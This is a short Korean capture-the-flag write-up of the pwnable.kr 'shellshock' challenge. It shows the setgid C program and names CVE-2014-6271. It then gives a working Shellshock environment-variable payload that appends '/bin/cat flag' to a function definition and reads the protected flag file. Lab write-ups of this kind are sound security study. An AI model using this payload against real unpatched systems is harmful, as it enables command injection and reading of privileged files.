주어진 경로에 접속하면 아래와 같은 파일이 주어진다.
shellshock@pwnable:~$ ls -al
total 980
drwxr-x--- 5 root shellshock 4096 Oct 23 2016 .
drwxr-xr-x 116 root root 4096 Nov 11 2021 ..
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
d--------- 2 root root 4096 Oct 12 2014 .bash_history
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
dr-xr-xr-x 2 root root 4096 Oct 12 2014 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
파일들 중에 보면 shell shock라는 파일을 확인할 수 있고, 소스코드인 c파일을 먼저 실행하면 아래와 같은 내용을 확인 할 수 있다.
shellshock@pwnable:~$ cat shellshock.c
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
해당 취약점은 bash의 환경변수와 선언에서 나타는 버그이고, 이를 이용하면 exploit이 가능했다. 공격 구문은 아래와 같다.
- Shell Shock : CVE-2014-6271
shellshock@pwnable:~$ export x='() { echo hello; }; /bin/cat flag'
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)